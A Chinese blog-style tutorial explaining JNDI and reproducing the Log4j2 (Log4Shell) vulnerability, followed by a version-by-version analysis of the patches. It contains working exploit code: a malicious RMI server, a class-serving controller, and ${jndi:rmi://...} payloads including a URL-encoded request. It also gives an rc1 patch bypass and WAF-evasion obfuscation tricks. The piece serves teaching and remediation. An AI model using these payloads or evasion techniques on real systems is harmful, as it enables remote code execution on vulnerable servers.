背景

最近互联网技术圈最火的一件事莫过于Log4j2的漏洞了。同时也涌现出了各类分析文章,关于漏洞的版本、漏洞的原因、漏洞的修复、程序员因此加班等等。

经常看我文章的朋友都知道,面对这样热门有意思的技术点,怎能错过深入分析一波呢?大概你也已经听说了,造成漏洞的”罪魁祸首“是JNDI,今天我们就聊它。

JNDI,好熟悉,但……熟悉的陌生人?JNDI到底是个什么鬼?好吧,如果你已经有一两年的编程经验,但还不了解JNDI,甚至没听说过。那么,要么赶紧换工作,要么赶紧读读这篇文章。

JNDI是个什么鬼?

说起JNDI,从事Java EE编程的人应该都在用着,但知不知道自己在用,那就看你对技术的钻研深度了。这次Log4j2曝出漏洞,不正说明大量项目或直接或间接的在用着JNDI。来看看JNDI到底是个什么鬼吧?

先来看看Sun官方的解释:

Java命名和目录接口(Java Naming and Directory Interface ,JNDI)是用于从Java应用程序中访问名称和目录服务的一组API。命名服务即将名称与对象相关联,以便能通过相应名称访问这些对象。而目录服务即其对象具有属性及名称的命名服务。

命名或目录服务允许你集中管理共享信息的存储,这在网络应用程序中很重要,因为它可以使这类应用程序更加一致和易于管理。例如,可以将打印机配置存储在目录服务中,这样所有与打印机相关的应用程序都能够使用它。

概念是不是很抽象,读了好几遍都没懂?一图胜千言:

naming_service

看着怎么有点注册中心的意思?是的,如果你使用过Nacos或读过Nacos的源码,Naming Service这个概念一定很熟悉。在JNDI中,虽然实现方式不同、应用场景不同,但并不影响你通过类比注册中心的方式来理解JNDI。

如果你说没用过Nacos,那好,Map总用过吧。忽略掉JNDI与Map底层实现的区别,JNDI提供了一个类似Map的绑定功能,然后又提供了基于lookup或search之类的方法来根据名称查找Object,好比Map的get方法。

总之,JNDI就是一个规范,规范就需要对应的API(也就是一些Java类)来实现。通过这组API,可以将Object(对象)和一个名称进行关联,同时提供了基于名称查找Object的途径。

最后,对于JNDI,SUN公司只是提供了一个接口规范,具体由对应的服务器来实现。比如,Tomcat有Tomcat的实现方式,JBoss有JBoss的实现方式,遵守规范就好。

命名服务与目录服务的区别

命名服务就是上面提到的,类似Map的绑定与查找功能。比如:在Internet中的域名服务(domain naming service,DNS),就是提供将域名映射到IP地址的命名服务,在浏览器中输入域名,通过DNS找到相应的IP地址,然后访问网站。

目录服务是对命名服务的扩展,是一种特殊的命名服务,提供了属性与对象的关联和查找。一个目录服务通常拥有一个命名服务(但是一个命名服务不必具有一个目录服务)。比如电话簿就是一个典型的目录服务,一般先在电话簿里找到相关的人名,再找到这个人的电话号码。

目录服务允许属性(比如用户的电子邮件地址)与对象相关联(而命名服务则不然)。这样,使用目录服务时,可以基于对象的属性来搜索它们。

JNDI架构分层

JNDI通常分为三层:

  • JNDI API:用于与Java应用程序与其通信,这一层把应用程序和实际的数据源隔离开来。因此无论应用程序是访问LDAP、RMI、DNS还是其他的目录服务,跟这一层都没有关系。

  • Naming Manager:也就是我们提到的命名服务;

  • JNDI SPI(Server Provider Interface):用于具体到实现的方法上。

整体架构分层如下图:

JNDI架构

需要注意的是:JNDI同时提供了应用程序编程接口(Application Programming Interface ,API)和服务提供程序接口(Service Provider Interface ,SPI)。

这样做对于与命名或目录服务交互的应用程序来说,必须存在一个用于该服务的JNDI服务提供程序,这便是JNDI SPI发挥作用的舞台。

一个服务提供程序基本上就是一组类,对特定的命名和目录服务实现了各种JNDI接口——这与JDBC驱动程序针对特定的数据系统实现各种JDBC接口极为相似。作为开发人员,不需要担心JNDI SPI。只需确保为每个要使用的命名或目录服务提供了一个服务提供程序即可。

JNDI的应用

下面再了解一下JNDI容器的概念及应用场景。

JNDI容器环境

JNDI中的命名(Naming),就是将Java对象以某个名称的形式绑定(binding)到一个容器环境(Context)中。当使用时,调用容器环境(Context)的查找(lookup)方法找出某个名称所绑定的Java对象。

容器环境(Context)本身也是一个Java对象,它也可以通过一个名称绑定到另一个容器环境(Context)中。将一个Context对象绑定到另外一个Context对象中,这就形成了一种父子级联关系,多个Context对象最终可以级联成一种树状结构,树中的每个Context对象中都可以绑定若干个Java对象。

jndi-context-tree

JNDI 应用

JNDI的基本使用操作就是:先创建一个对象,然后放到容器环境中,使用的时候再拿出来。

此时,你是否疑惑,干嘛这么费劲呢?换句话说,这么费劲能带来什么好处呢?

在真实应用中,通常是由系统程序或框架程序先将资源对象绑定到JNDI环境中,后续在该系统或框架中运行的模块程序就可以从JNDI环境中查找这些资源对象了。

关于JDNI与我们实践相结合的一个例子是JDBC的使用。在没有基于JNDI实现时,连接一个数据库通常需要:加载数据库驱动程序、连接数据库、操作数据库、关闭数据库等步骤。而不同的数据库在对上述步骤的实现又有所不同,参数也可能发生变化。

如果把这些问题交由J2EE容器来配置和管理,程序就只需对这些配置和管理进行引用就可以了。

以Tomcat服务器为例,在启动时可以创建一个连接到某种数据库系统的数据源(DataSource)对象,并将该数据源(DataSource)对象绑定到JNDI环境中,以后在这个Tomcat服务器中运行的Servlet和JSP程序就可以从JNDI环境中查询出这个数据源(DataSource)对象进行使用,而不用关心数据源(DataSource)对象是如何创建出来的。

JNDI-Tree

这种方式极大地增强了系统的可维护性,即便当数据库系统的连接参数发生变更时,也与应用程序开发人员无关。JNDI将一些关键信息放到内存中,可以提高访问效率;通过 JNDI可以达到解耦的目的,让系统更具可维护性和可扩展性。

JNDI实战

有了以上的概念和基础知识,现在可以开始实战了。

在架构图中,JNDI的实现层中包含了多种实现方式,这里就基于其中的RMI实现来写个实例体验一把。

基于RMI的实现

RMI是Java中的远程方法调用,基于Java的序列化和反序列化传递数据。

可以通过如下代码来搭建一个RMI服务:

// ①定义接口
public interface RmiService extends Remote {String sayHello() throws RemoteException;
}// ②接口实现
public class MyRmiServiceImpl extends UnicastRemoteObject implements RmiService {protected MyRmiServiceImpl() throws RemoteException {}@Overridepublic String sayHello() throws RemoteException {return "Hello World!";}
}// ③服务绑定并启动监听
public class RmiServer {public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.createRegistry(1099);System.out.println("RMI启动,监听:1099 端口");registry.bind("hello", new MyRmiServiceImpl());Thread.currentThread().join();}
}

上述代码先定义了一个RmiService的接口,该接口实现了Remote,并对RmiService接口进行了实现。在实现的过程中继承了UnicastRemoteObject的具体服务实现类。

最后,在RmiServer中通过Registry监听1099端口,并将RmiService接口的实现类进行了绑定。

下面构建客户端访问:

public class RmiClient {public static void main(String[] args) throws Exception {Hashtable env = new Hashtable();env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");env.put(Context.PROVIDER_URL, "rmi://localhost:1099");Context ctx = new InitialContext(env);RmiService service = (RmiService) ctx.lookup("hello");System.out.println(service.sayHello());}
}

其中,提供了两个参数Context.INITIAL_CONTEXT_FACTORYContext.PROVIDER_URL,分别表示Context初始化的工厂方法和提供服务的url。

执行上述程序,就可以获得远程端的对象并调用,这样就实现了RMI的通信。当然,这里Server和Client在同一台机器,就用了”localhost“的,如果是远程服务器,则替换成对应的IP即可。

构建攻击

常规来说,如果要构建攻击,只需伪造一个服务器端,返回恶意的序列化Payload,客户端接收之后触发反序列化。但实际上对返回的类型是有一定的限制的。

在JNDI中,有一个更好利用的方式,涉及到命名引用的概念javax.naming.Reference

如果一些本地实例类过大,可以选择一个远程引用,通过远程调用的方式,引用远程的类。这也就是JNDI利用Payload还会涉及HTTP服务的原因。

RMI服务只会返回一个命名引用,告诉JNDI应用该如何去寻找这个类,然后应用则会去HTTP服务下找到对应类的class文件并加载。此时,只要将恶意代码写入static方法中,则会在类加载时被执行。

基本流程如下:

RMI攻击流程

修改RmiServer的代码实现:

public class RmiServer {public static void main(String[] args) throws Exception {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");Registry registry = LocateRegistry.createRegistry(1099);System.out.println("RMI启动,监听:1099 端口");Reference reference = new Reference("Calc", "Calc", "http://127.0.0.1:8000/");ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("hello", referenceWrapper);Thread.currentThread().join();}
}

由于采用的Java版本较高,需先将系统变量com.sun.jndi.rmi.object.trustURLCodebase设置为true。

其中绑定的Reference涉及三个变量:

  • className:远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载;

  • classFactory:远程的工厂类;

  • classFactoryLocation:工厂类加载的地址,可以是file://、ftp://、http:// 等协议;

此时,通过Python启动一个简单的HTTP监听服务:

192:~ zzs$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

打印日志,说明在8000端口进行了http的监听。

对应的客户端代码修改为如下:

public class RmiClient {public static void main(String[] args) throws Exception {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");Hashtable env = new Hashtable();env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");env.put(Context.PROVIDER_URL, "rmi://localhost:1099");Context ctx = new InitialContext(env);ctx.lookup("hello");}
}

执行,客户端代码,发现Python监听的服务打印如下:

127.0.0.1 - - [12/Dec/2021 16:19:40] code 404, message File not found
127.0.0.1 - - [12/Dec/2021 16:19:40] "GET /Calc.class HTTP/1.1" 404 -

可见,客户端已经去远程加载恶意class(Calc.class)文件了,只不过Python服务并没有返回对应的结果而已。

进一步改造

上述代码证明了可以通过RMI的形式进行攻击,下面基于上述代码和Spring Boot Web服务的形式进一步演示。通过JNDI注入+RMI的形式调用起本地的计算器。

上述的基础代码不变,后续只微调RmiServer和RmiClient类,同时添加一些新的类和方法。

第一步:构建攻击类

创建一个攻击类BugFinder,用于启动本地的计算器:

public class BugFinder {public BugFinder() {try {System.out.println("执行漏洞代码");String[] commands = {"open", "/System/Applications/Calculator.app"};Process pc = Runtime.getRuntime().exec(commands);pc.waitFor();System.out.println("完成执行漏洞代码");} catch (Exception e) {e.printStackTrace();}}public static void main(String[] args) {BugFinder bugFinder = new BugFinder();}}

本人是Mac操作系统,代码中就基于Mac的命令实现方式,通过Java命令调用Calculator.app。同时,当该类被初始化时,会执行启动计算器的命令。

将上述代码进行编译,存放在一个位置,这里单独copy出来放在了”/Users/zzs/temp/BugFinder.class“路径,以备后用,这就是攻击的恶意代码了。

第二步:构建Web服务器

Web服务用于RMI调用时返回攻击类文件。这里采用Spring Boot项目,核心实现代码如下:

@RestController
public class ClassController {@GetMapping(value = "/BugFinder.class")public void getClass(HttpServletResponse response) {String file = "/Users/zzs/temp/BugFinder.class";FileInputStream inputStream = null;OutputStream os = null;try {inputStream = new FileInputStream(file);byte[] data = new byte[inputStream.available()];inputStream.read(data);os = response.getOutputStream();os.write(data);os.flush();} catch (Exception e) {e.printStackTrace();} finally {// 省略流的判断关闭;}}
}

在该Web服务中,会读取BugFinder.class文件,并返回给RMI服务。重点提供了一个Web服务,能够返回一个可执行的class文件。

第三步:修改RmiServer

对RmiServer的绑定做一个修改:

public class RmiServer {public static void main(String[] args) throws Exception {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");Registry registry = LocateRegistry.createRegistry(1099);System.out.println("RMI启动,监听:1099 端口");Reference reference = new Reference("com.secbro.rmi.BugFinder", "com.secbro.rmi.BugFinder", "http://127.0.0.1:8080/BugFinder.class");ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("hello", referenceWrapper);Thread.currentThread().join();}
}

这里Reference传入的参数就是攻击类及远程下载的Web地址。

第四步:执行客户端代码

执行客户端代码进行访问:

public class RmiClient {public static void main(String[] args) throws Exception {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");Hashtable env = new Hashtable();env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");env.put(Context.PROVIDER_URL, "rmi://localhost:1099");Context ctx = new InitialContext(env);ctx.lookup("hello");}
}

本地计算器被打开:

RMI Client

基于Log4j2的攻击

上面演示了基本的攻击模式,基于上述模式,我们再来看看Log4j2的漏洞攻击。

在Spring Boot项目中引入了log4j2的受影响版本:

<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId><exclusions><!-- 去掉springboot默认配置 --><exclusion><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-logging</artifactId></exclusion></exclusions>
</dependency><dependency> <!-- 引入log4j2依赖 --><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>

这里需要注意,先排除掉Spring Boot默认的日志,否则可能无法复现Bug。

修改一下RMI的Server代码:

public class RmiServer {public static void main(String[] args) throws Exception {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");Registry registry = LocateRegistry.createRegistry(1099);System.out.println("RMI启动,监听:1099 端口");Reference reference = new Reference("com.secbro.rmi.BugFinder", "com.secbro.rmi.BugFinder", null);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("hello", referenceWrapper);Thread.currentThread().join();}
}

这里直接访问BugFinder,JNDI绑定名称为:hello。

客户端引入Log4j2的API,然后记录日志:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;public class RmiClient {private static final Logger logger = LogManager.getLogger(RmiClient.class);public static void main(String[] args) throws Exception {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");logger.error("${jndi:rmi://127.0.0.1:1099/hello}");Thread.sleep(5000);}
}

日志中记录的信息为“${jndi:rmi://127.0.0.1:1099/hello}”,也就是RMI Server的地址和绑定的名称。

执行程序,发现计算器被成功打开。

当然,在实际应用中,logger.error中记录的日志信息,可能是通过参数获得,比如在Spring Boot中定义如下代码:

@RestController
public class Log4jController {private static final Logger logger = LogManager.getLogger(Log4jController.class);/*** 方便测试,用了get请求* @param username 登录名称*/@GetMapping("/a")public void log4j(String username){System.out.println(username);// 打印登录名称logger.info(username);}
}

在浏览器中请求URL为:

http://localhost:8080/a?username=%24%7Bjndi%3Armi%3A%2F%2F127.0.0.1%3A1099%2Fhello%7D

其中username参数的值就是“${jndi:rmi://127.0.0.1:1099/hello}”经过URLEncoder#encode编码之后的值。此时,访问该URL地址,同样可以将打开计算器。

至于Log4j2内部逻辑漏洞触发JNDI调用的部分就不再展开了,感兴趣的朋友在上述实例上进行debug即可看到完整的调用链路。

小结

本篇文章通过对Log4j2漏洞的分析,不仅带大家了解了JNDI的基础知识,而且完美重现了一次基于JNDI的工具。本文涉及到的代码都是本人亲自实验过的,强烈建议大家也跑一遍代码,真切感受一下如何实现攻击逻辑。

JNDI注入事件不仅在Log4j2中发生过,而且在大量其他框架中也有出现。虽然JDNI为我们带来了便利,但同时也带了风险。不过在实例中大家也看到在JDK的高版本中,不进行特殊设置(com.sun.jndi.rmi.object.trustURLCodebase设置为true),还是无法触发漏洞的。这样也多少让人放心一些。

另外,如果你的系统中真的出现此漏洞,强烈建议马上修复。在此漏洞未被报道之前,可能只有少数人知道。一旦众人皆知,跃跃欲试的人就多了,赶紧防护起来吧。

修复方案:

应用修复:

方式一: log4j 版本 >= 2.10版本,禁用lookup或JNDI服务

罪魁祸首就是lookup和JNDI,那么直接修改配置文件log4j2.formatMsgNoLookups=True或环境变量 LOG4J_FORMAT_MSG_NO_LOOKUPS 为 true 或禁用JNDI服务,不过一般产生问题的服务都是线上已经在跑的服务,禁用的时候要注意评估一下是否允许。

方式二:升级新版本

log4j2 1.17.0已经修复了这个问题,升级即可解决。修复后的log4j2在JNDI lookup中增加了很多的限制:

1.默认不再支持二次跳转(也就是命名引用)的方式获取对象
2.只有在log4j2.allowedLdapClasses列表中指定的class才能获取。
3.只有远程地址是本地地址或者在log4j2.allowedLdapHosts列表中指定的地址才能获取

这样处理等于是去掉了通过打印日志去远程加载class的方式。

中间件修复:

对于第三方组件使用log4j的情况,很多明星项目作为了基础框架使用,像 Redis、Kafka、Elasticsearch、Apache Flink、Apache Druid 等等,在官方没发布log4j修复时,如应用未使用log4j JndiLookup功能,可采用以下方法修复,建议修复完成后需验证应用各个功能可用性。

方式三:版本在 2.0-beta9 到 2.10.0 之间, 可以直接移除从 classpath 中移除 JndiLookup 类,log4j-core-*.jar,尝试删除log4j-core-*.jar包内的JndiLookup.class文件

备份log4j-core-*.jar包:

zip es/backup-log4j.zip lib/log4j-core-*.jar

删除JndiLookup.class:

zip -d lib/log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

这个方案相对不容易引发项目的冲突,如果项目很紧急且重要,先用它处理吧。

------------------------------------分隔符----------------------------------

log4j各版本分析

0x00 前言

最近的 Log4j2 漏洞在安全圈引起了轩然大波,可以说是核弹级别的漏洞,无论是渗透、研发、安服、研究,所有人都在学习和复现这个漏洞,由于其覆盖面广,引用次数庞大,直接成为可以与永恒之蓝齐名的顶级可利用漏洞,官方 CVSS 评分更是直接顶到 10.0,国内有厂商将其命名为“毒日志”,国外将其命名为 Log4Shell。

在第二天,漏洞利用方式逐渐被研究、披露,因为朋友要做预警,所以找到我简单写了一个漏洞分析和 rc1 补丁绕过的分析,但是我没有发出来,当时也并没有几个人发文章,可能大家都在观望,毕竟国有国法,家有家规,不能也不应该这样轻易的披露漏洞细节。

时间又过去了几天,种种绕过的思路、手段不断的出现,官方也在不断完善更新补丁,本来是不打算写博客的,但毕竟 Struts2 我没赶上,Fastjson 赶上个末尾,这次好不容易赶上一个可能载入史册的漏洞,所以还是写篇文章留个底。本文不会提供 POC 及利用方式,仅进行思路上的探究分享及研究成果记录。

0x01 漏洞描述

Apache Log4j2 是 Apache 软件基金会下的一个开源的基于 Java 的日志记录工具。Log4j2 是一个 Log4j 1.x 的重写,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。由于其优异的性能而被广泛的应用于各种常见的 Web 服务中。

2021 年 12 月 9 日晚,Log4j2 的一个远程代码执行漏洞的利用细节被公开。攻击者使用 ${} 关键标识符触发 JNDI 注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

由于其触发方式简单、使用范围广泛,因此漏洞危害极大。

1- 漏洞:Log4j2 的 JNDI 功能点无法防御来自攻击者的 ldap 以及其他相关端点的攻击行为。

2- 严重等级:Critical

3- Basic CVSS 评分: 10.0CVSS: 3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

4- 影响版本:all versions from2.0-beta9 to2.14.1

5- 详情描述:Apache Log4j2 <= 2.14.1版本提供的 JNDI 特性用于配置、日志信息、参数位置时,无法防护攻击者使用 ldap 或其他 JNDI 相关断点的攻击行为。攻击者如果可以控制日志信息或日志信息参数,则可以在开启了 lookup substitution 功能时利用恶意的 ladp 服务器执行任意代码,在 2.15.0版本时,默认将其此行为关闭。

6- 缓解措施:在 >= 2.10版本,可以通过设置系统属性 log4j2.formatMsgNoLookups 或环境变量 LOG4J_FORMAT_MSG_NO_LOOKUPS 为 true来缓解。在 2.0-beta9 to2.10.0版本,可以通过移除 classpath 中的 JndiLookup 类来缓解,命令为:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup. class。

7- 致谢:此问题由阿里云安全团队的 Chen Zhaojun 发现。

8- 引用:LOG4J2 -3201& LOG4J2 -3198

0x02 漏洞分析

在 Log4j2 中提供的众多特性中,其中一个就是 Property Support。这个特性让使用者可以引用配置中的属性,或传递给底层组件并动态解析。这些属性来自于配置文件中定义的值、系统属性、环境变量、ThreadContext、和事件中存在的数据,用户也可以提供自定义的 Lookup 组件来配置自定义的值。

这个 Lookup & Substitution 的过程,就是本次漏洞的关键点。提供 Lookup 功能的组件需要实现 org.apache.logging.log4j.core.lookup.StrLookup 接口,并通过配置文件进行设置。在最新的官方文档 Lookups 中,列举了 Log4j2 支持的 Context Map、Date、Docker、Environment、Event、Java、Jndi、JVM Input Arguments、Kubernetes、Log4j Configuration Location、Main Arguments、Map、Marker、Spring Boot 、Structured Data、System Properties、Lower、Upper、Web 如此多种的属性查找及替换选项。

而其中所支持的 Jndi 就是本次漏洞的触发点。

我们首先使用没进行安全补丁更新的 2.14.0 版本进行复现和测试。

漏洞复现

启动恶意服务器,用来给 ldap/rmi 调用返回恶意代码,这里使用的是作者自写的 JNDI 注入测试工具。

使用 logger.info 方法触发漏洞,弹出计算器。

可以看到,漏洞的触发非常简单,也正因为如此,说明漏洞的危害非常之大。

关键点分析

Log4j2 关于 Lookup 功能的使用以及漏洞的触发,包括几个关键点,这里依次来进行分析。

日志记录/触发点

通常我们使用 LogManager.getLogger 方法来获取一个 Logger 对象,并调用其 debug/info/error/warn/fatal/trace/log 等方法记录日志等信息。

在这些所有的方法里,都会先使用名为 org.apache.logging.log4j.spi.AbstractLogger#logIfEnabled 的若干个重载方法来根据当前的配置的记录日志的等级,来判断是否需要输出 console 和记录日志文件。其中 Log4j 包括的日志等级层级分别为:ALL < DEBUG < INFO < WARN < ERROR < FATAL < OFF。

在默认情况下,会输出 WARN/ERROR/FATAL 等级的日志。可以使用配置文件更改日志输出等级:

1<?xml version="1.0" encoding="UTF-8"?>

2< Configuration>

3< Loggers>

4< Loggername= "org.su18"level= "All"/>

5</ Loggers>

6</ Configuration>

也可以使用如下代码来配置输出等级:

1LoggerContext ctx = (LoggerContext) LogManager.getContext( false);

2Configuration config= ctx.getConfiguration;

3LoggerConfig loggerConfig = config.getLoggerConfig(LogManager.ROOT_LOGGER_NAME);

4loggerConfig.setLevel(Level.ALL);

5ctx.updateLoggers;

本此漏洞的触发点,实际上是从 AbstractLogger#logMessage 方法开始的,凡是调用了此方法的 info/error/warn 等全部方法均可以作为本次漏洞的触发点,只是取决于配置的漏洞输出等级。

消息格式化

Log4j2 使用 org.apache.logging.log4j.core.pattern.MessagePatternConverter 来对日志消息进行处理,在实例化 MessagePatternConverter 时会从 Properties 及 Options 中获取配置来判断是否需要提供 Lookups 功能。

获取 log4j2.formatMsgNoLookups 配置的值,默认为 false,因此 Lookups 功能默认是开的。

调用 StrSubstitutor#replace 方法进行字符替换操作。

字符替换

Log4j2 提供 Lookup 功能的字符替换的关键处理类,位于org.apache.logging.log4j.core.lookup.StrSubstitutor,首先来看一下这个类。

类中提供了关键的 DEFAULT_ESCAPE 是 $,DEFAULT_PREFIX 前缀是 ${,DEFAULT_SUFFIX 后缀是 },DEFAULT_VALUE_DELIMITER_STRING 赋值分隔符是 :-,ESCAPE_DELIMITER_STRING 是 :\-。

这个类提供的 substitute 方法,是整个 Lookup 功能的核心,用来递归替换相应的字符,这里来仔细看一下处理逻辑。

方法通过 while 循环逐个字符串寻找 ${ 前缀。

找到前缀后开始找后缀,但是在找后缀的 while 循环里,又判断了是否替换变量中的值,如果替换,则再匹配一次前缀,如果又找到了前缀,则 continue 跳出循环,再走一次找后缀的逻辑,用来满足变量中嵌套的情况。

后续的处理中,通过多个 if/else 用来匹配 :- 和 :\-。

由于篇幅原因,这里我不再依次跟代码讲解,直接描述一下:

- :- 是一个赋值关键字,如果程序处理到 ${aaaa:-bbbb} 这样的字符串,处理的结果将会是 bbbb,:- 关键字将会被截取掉,而之前的字符串都会被舍弃掉。

- :\- 是转义的 :-,如果一个用 a:b 表示的键值对的 key a 中包含 :,则需要使用转义来配合处理,例如 ${aaa:\\-bbb:-ccc},代表 key 是,aaa:bbb,value 是 ccc。

在没有匹配到变量赋值或处理结束后,将会调用 resolveVariable 方法解析满足 Lookup 功能的语法,并执行相应的 lookup ,将返回的结果替换回原字符串后,再次调用 substitute 方法进行递归解析。

因此在字符串替换的过程中可以看到,方法提供了一些特殊的写法,并支持递归解析。而这些特性,将会可以用来进行绕过 WAF。

resolveVariable 则调用 this.variableResolver#lookup 方法进行处理,而这实际上是一个代理类 Interpolator,这个类在接下来的内容进行说明。

通过在 StrSubstitutor#substitute 方法下断点/Hook 点,可以找到来自日志信息、配置文件、变量名、参数等位置的调用,也就是说,这个漏洞的触发点不仅仅在于记录日志的部分,但是是最容易触发的位置。

Lookup 处理

Log4j2 使用 org.apache.logging.log4j.core.lookup.Interpolator 类来代理所有的 StrLookup 实现类。也就是说在实际使用 Lookup 功能时,由 Interpolator 这个类来处理和分发。

这个类在初始化时创建了一个 strLookupMap ,将一些 lookup 功能关键字和处理类进行了映射,存放在这个 Map 中。

在 2.14.0 版本中,默认是加入 log4j、sys、env、main、marker、java、lower、upper、jndi、jvmrunargs、spring、kubernetes、docker、web、date、ctx,由于部分功能的支持并不在 core 包中,所以如果加载不到对应的处理类,则会添加警告信息并跳过。而这些不同 Lookup 功能的支持,是随着版本更新的,例如在较低版本中,不存在 upper、lower 这两种功能,因此在使用时要注意环境。

处理和分发的关键逻辑在于其 lookup 方法,通过 : 作为分隔符来分隔 Lookup 关键字及参数,从strLookupMap 中根据关键字作为 key 匹配到对应的处理类,并调用其 lookup 方法。

本次漏洞的触发方式是使用 jndi: 关键字来触发 JNDI 注入漏洞,对于 jndi: 关键字的处理类为 org.apache.logging.log4j.core.lookup.JndiLookup 。看一下最关键的 lookup 方法,可以看到是使用了 JndiManager 来支持 JNDI 的查询功能。具体实现将在下一小节进行描述。

这里除了 jndi: 方法外,还支持上述多种 Lookup 功能,包括获取环境变量、系统配置、Java 环境等等,由于 Log4j2 支持递归和嵌套解析,所以可以用来获取相关信息来实现一些攻击思路,将在后续的技巧中进行详述。

JNDI 查询

Log4j2 使用 org.apache.logging.log4j.core.net.JndiManager 来支持 JDNI 相关操作。

JndiManager 使用私有内部类 JndiManagerFactory 来创建 JndiManager 实例,如下图:

可以看到是创建了一个新的 InitialContext 实例,并作为参数传递用来创建 JndiManager,这个 Context 被保存在成员变量 context 中:

JndiManager#lookup 方法则调用 this.context.lookup 实现 JNDI 查询操作。

实际上,JndiManager 这个类就是在本次漏洞中 Log4j2 包内的最终 sink 点。

rc1 及绕过

在漏洞遭到披露后,Log4j2 官方发布了 log4j-2.15.0-rc1 安全更新包,但经过研究后发现在开启 lookup 配置时,可以被绕过。

本次安全更新关键有两个位置。

在 2.15.0-rc1的更新包中,移除了从 Properties 中获取 Lookup 配置的选项,并修改判断逻辑,默认不开启 lookup 功能。

并在 MessagePatternConverter 类中创建了内部类 SimpleMessagePatternConverter、FormattedMessagePatternConverter、LookupMessagePatternConverter、RenderingPatternConverter,将一些扩展的功能进行模块化的处理,而只有在开启 lookup 功能时才会使用 LookupMessagePatternConverter 来进行 Lookup 和替换。

在默认情况下,将使用 SimpleMessagePatternConverter 进行消息的格式化处理,不会解析其中的 ${} 关键字。

第二个关键位置是 JndiManager#lookup 方法中添加了校验,使用了 JndiManagerFactory 来创建 JndiManager 实例,不再使用 InitialContext,而是使用子类 InitialDirContext,并为其添加白名单 JNDI 协议、白名单主机名、白名单类名。

其中 permanentAllowedHosts 是本地 IP,permanentAllowedClasses 是八大基础数据类型加 Character,permanentAllowedProtocols 包含 java/ldap/ldaps。

并在关键的 lookup 函数中加入了校验判断,但是由于校验逻辑有误,程序在 catch 住异常后没有 return,导致可以利用 URISyntaxException 异常来绕过校验,直接走到后面的 lookup。

因此,只要在判断时触发 URISyntaxException 异常,例如在 URI 中插入空格,即可触发漏洞,复现如下:

虽然此处绕过了校验,但由于默认 lookup 配置为关闭,需要开启才能触发漏洞,所以危害较低。

rc2 及思考

在 rc1 更新被绕过后,官方发布了 rc2,代码如下,可以看到是在 catch 里添加了 return,修复了 rc1 的绕过。

但是还有师傅并不满足于止步在官方的更新,尝试使用 Appenders 配置及异常处理等问题来进行绕过。但总体来说,后续的几个版本更新已经默认禁用了 JNDI Lookup 的功能,甚至直接移除了对日志消息的 Lookup 功能支持,因此在此处继续研究绕过的意义并不大。

UPDATE 3208

在最近一次的版本提交LOG4J2-3208中,可以看到官方表示 “Disable JNDI by default”,默认将 JNDI 关闭,这是如何实现的呢?其实也不难想象,那就是在 org.apache.logging.log4j.core.lookup.Interpolator 初始化内部变量 strLookupMap 时,需要经过判断才将实现 JNDI Lookup 的类 JndiLookup 加入。

官方引入了一个 log4j2.enableJndi 参数用来表示是否开启 Jndi。

在初始化 strLookupMap 时,先进行判断。

同时保留了在 JndiManager 中的白名单校验。

并将判断同时引入了 JmsManager,对 JMS Appenders 进行了限制。

通过此判断,可以较好的确保在未开启 log4j2.enableJndi 时,无法使用 JNDI 查询功能。

2.16.0-rc1

截至作者发文前,官方又提了一次更新,版本号 2.16-rc1,通过两个版本的对比可以看出,官方移除了 MessagePatternConverter 的内部实现类 LookupMessagePatternConverter,并删除了相关调用代码。

也就是说,从这个版本开始,log4j2 不再支持日志消息的 Lookup 功能。

至此为止,由记录日志导致的攻击可以说是落下了帷幕。

技巧

在 Log4j2 的影响迅速蔓延之后,各大安全防御类产品都在尝试添加规则对此种漏洞类型进行有效防护,包括流量层、HTTP 协议层等防御层级。

但对于此类漏洞,触发点非常广泛,除了使用 RASP 技术能防范的较为理想之外,其他的防御手段也可能因为校验有瑕疵而导致被绕过。

本小节总结几个可以用来绕过的技巧。

关键字截取

在 Lookup 功能处理时的关键字替换过程中,提到了可以使用 :- 进行一个截取和赋值的操作,因此我们可以用其来混淆流量,分隔关键字。例如:

1jndi

可以尝试混淆为:

1${ :::::-j}${ what:-n}${ ls:-d}${ 1QAZ2wxs:-i}

并可以将其嵌套使用,可以用来绕过一些不完善的正则、关键字的匹配。

编码绕过

在浅蓝师傅发的公众号中,利用了 UpperLookup 调用字符串的 toUpperCase 方法可以将不同 Locale 转为 Unicode Standard 字符的特性,例如将 Turkish 的 ?(\u0131) 经过 toUpperCase 转为 I(\u0069)。

JDK 注释中也提到了这种一对多的映射方式,用的就是这个示例:

结合 ${upper:} 用法,可以绕过一些对于关键字的校验:

嵌套

由于 Lookup 功能在替换字符时支持递归解析和替换,因此在构造 POC 时可以嵌套构造,增加 payload 复杂度,绕过 WAF 的同时,还可能给服务器带来解析负担,造成 DOS 漏洞。

这个问题由 4rain 师傅提交并获得致谢。

带外

